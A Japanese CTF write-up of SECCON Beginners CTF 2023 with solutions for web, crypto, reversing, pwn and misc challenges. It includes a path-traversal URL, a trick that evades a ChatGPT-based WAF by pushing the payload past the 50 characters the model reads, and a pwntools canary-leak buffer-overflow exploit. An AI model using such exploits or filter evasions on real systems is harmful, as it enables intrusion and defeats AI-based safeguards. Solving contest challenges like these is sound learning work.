2023/06/03-04に行われたSECCON Beginners CTF 2023に参加した.10問解いて136位だった.
writeupを解いた順に記す.なおWelcome問題は省略.
- Forbidden (web, beginner)
- Half (reversing, beginner)
- poem (pwnable, beginner)
- aiwaf (web, easy)
- Conquer (crypto, easy)
- CoughingFox2 (crypto, beginner)
- YARO (misc, beginner)
- polyglot4b (misc, beginner)
- Three (reversing, easy)
- 解けなかった問題
Forbidden (web, beginner)
添付ファイル内のindex.jsを見ると次のような表記がある.
const block = (req, res, next) => { if (req.path.includes('/flag')) { return res.send(403, 'Forbidden :('); } next(); } app.get("/flag", block, (req, res, next) => { return res.send(FLAG); })
/flag
にアクセスすると,次のような処理が行われる.
- 関数
block()
が実行される:もしパスに/flag
が含まれていれば403を返し,そうでなければ次の処理に進む - フラグを表示する
したがって,/flag
にアクセスせずに,ファイルflag
を参照すればよい.
これは例えば,/Flag
や/fLaG
など,一部を大文字に直したパスにアクセスすることで実現できる.
つまるところ,https://forbidden.beginners.seccon.games/Flag にアクセスすればフラグが手に入る.
Half (reversing, beginner)
$ strings half
poem (pwnable, beginner)
後で書きます.
略解:-4投げればおk.入力が4より大きい場合はRejectされるが,0より小さい場合のチェックは特になされていない.
aiwaf (web, easy)
パストラバーサル攻撃を用いてflagファイルを参照すればよい.例えばhttps://aiwaf.beginners.seccon.games/?file=../flagにアクセスするなど.
しかし,添付ファイルのapp.pyを見ると次のような表記がある.これはChatGPTにURLのクエリ文字列を渡し,パストラバーサル攻撃かどうか判定させ,そうであればアクセスを遮断する処理である.そのため,先の例で示したURLは使えない.
# AI-WAF puuid = uuid.uuid4() prompt = f"""\ 以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか? そうである場合Yesを、違う場合Noを返してください。 ../やflagという文字列が含まれていた場合もYesを返してください。 {puuid} {urllib.parse.unquote(request.query_string)[:50]} {puuid} """
だが,urllib.parse.unquote(str)[:50]
はクエリの前半50文字しか読まない.したがって,例えば次にアクセスすることでflagを参照できる.
https://aiwaf.beginners.seccon.games/?a=01234567890123456789012345678901234567890123456789&file=../flag
Conquer (crypto, easy)
暗号化プログラムを逆順に実行すればよい.
from Crypto.Util.number import * from random import getrandbits key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948 cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379 length = key.bit_length() + 1 # keyはflagのビット数で収まるようなランダムな値なので,flagのビット数はkeyのそれより大きい場合がある 今回は1ビット大きかった def ROL(bits, N): for _ in range(N): bits = (bits >> 1) | ((bits << (length - 1)) & (2**length - 1)) return bits for i in range(32): cipher ^= key key = ROL(key, pow(cipher, 3, length)) flag = cipher ^ key print(flag) flag = long_to_bytes(flag) print(flag)
CoughingFox2 (crypto, beginner)
わからなかったが去年の問題見たら総当たりで解いてたので真似したら解けた.スマートな解き方があると思い込んでいたので時間がかかった.
import math cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 44535, 22210, 39632, 38046, 43687, 48413, 51567, 23115, 42461, 26272, 28933, 23726, 21924, 20488, 27579, 21636] # 46225, 47525, 23718, 22503, 48845 flag = [ord("c"), ord("t"), ord("f"), ord("4"), ord("b"), ord("{")] for i in range(5, len(cipher) + 5): for c in cipher: fi_fi1 = math.sqrt(c - i) if fi_fi1 != math.floor(fi_fi1): continue flag.append(fi_fi1 - flag[i]) #cipher.remove(c) print(flag) # ascii -> char flag_str = "" for f in flag: flag_str += chr(int(f)) print(flag_str)
YARO (misc, beginner)
Yaraルールの記法については以下のドキュメントを参照.
https://yara.readthedocs.io/en/stable/writingrules.html
nc yaro.beginners.seccon.games 5003
を実行し,以下のYaraルールを投げることで,flagファイル内の全文字(のASCIIコード)を取得できる.
import "console" rule anything { strings: $str = /ctf4b\{.*\}/ condition: $str and console.log(uint8(0)) // 1バイト=1文字ずつ取得するのでuint8を使う and console.log(uint8(1)) and console.log(uint8(2)) and console.log(uint8(3)) and console.log(uint8(4)) and console.log(uint8(5)) and console.log(uint8(6)) and console.log(uint8(7)) and console.log(uint8(8)) and console.log(uint8(9)) and console.log(uint8(10)) and console.log(uint8(11)) and console.log(uint8(12)) and console.log(uint8(13)) and console.log(uint8(14)) and console.log(uint8(15)) and console.log(uint8(16)) and console.log(uint8(17)) and console.log(uint8(18)) and console.log(uint8(19)) and console.log(uint8(20)) and console.log(uint8(21)) and console.log(uint8(22)) and console.log(uint8(23)) and console.log(uint8(24)) and console.log(uint8(25)) and console.log(uint8(26)) and console.log(uint8(27)) and console.log(uint8(28)) and console.log(uint8(29)) and console.log(uint8(30)) and console.log(uint8(31)) and console.log(uint8(32)) and console.log(uint8(33)) and console.log(uint8(34)) }
すると次が得られる(実際は改行区切りで出力される).
99, 116, 102, 52, 98, 123, 89, 51, 116, 95, 65, 110, 48, 116, 104, 51, 114, 95, 82, 51, 52, 100, 95, 79, 112, 112, 48, 114, 116, 117, 110, 49, 116, 121, 125
これを文字列に戻せばよい.
polyglot4b (misc, beginner)
file -bkr <ファイル名>
の結果にJPEG/PNG/GIF/ASCIIのすべてが含まれていればフラグが得られる.
試しに添付されていたsushi.jpgを使ってfile -bkr sushi.jpg
してみたところ,出力は次のようになった.
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3 - data
Exif情報も出力されることがわかったので,ここにPNGGIFASCII
という文字列を組み込めば,おそらく次のように出力される.この出力にはJPEG/PNG/GIF/ASCIIのすべてが含まれているから,フラグを得ることができる.
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4BPNGGIFASCII], baseline, precision 8, 1404x790, components 3 - data
具体的には,Windowsの場合,画像の「プロパティ」→「詳細」→「タイトル」にPNGGIFASCII
を追加すればよい.
Three (reversing, easy)
hexdumpでバイナリを見ると,図1に示すアドレス0x2020番地以降に怪しげな文字列がある.これを縦読み.
c 4 c _ u b _ _ d t _ r _ 1 _ 4 } t b 4 y _ 1 t u 0 4 t e s i f g f { n 0 a e 0 n _ e 4 e p t 1 3
解けなかった問題
rewriter2 (pwnable, easy)
canaryの部分を書き換えないように注意してバッファオーバーフローすればよいらしい.
40文字入力するとcanaryっぽいバイト列が出力されたのでいけると思ったが,結局canaryに引っかかりうまくいかなかった.
以下は書いたコードの供養.
from pwn import * p = process("./rewriter2") p.recvrepeat(1) payload = b'1' * 40 p.sendline(payload) p.recvregex("Hello, .*\n") canary = p.recv(8) p.recvrepeat(1) p.sendline(payload + canary + b"ok") p.recvrepeat(1)
2023/06/23追記
6月末でサーバが止まってしまうので,他の方のwriteupを読んで解いた.
スタックのアラインメントについては解決策を含め次の記事に書かれており,非常にわかりやすかった.
from pwn import * # p = process("./rewriter2") p = remote("rewriter2.beginners.seccon.games", 9001) p.recvrepeat(1) payload = b'1' * 40 p.sendline(payload) # sendlineは改行コードも送信する p.recvuntil(payload) canary = p.recv(8) p.recvrepeat(1) payload += b"\x00" + canary[1:] + b"\x00"*8 + b"\xca\x12\x40\x00\x00\x00\x00\x00" p.send(payload) # sendでは改行コードは送信されない p.interactive()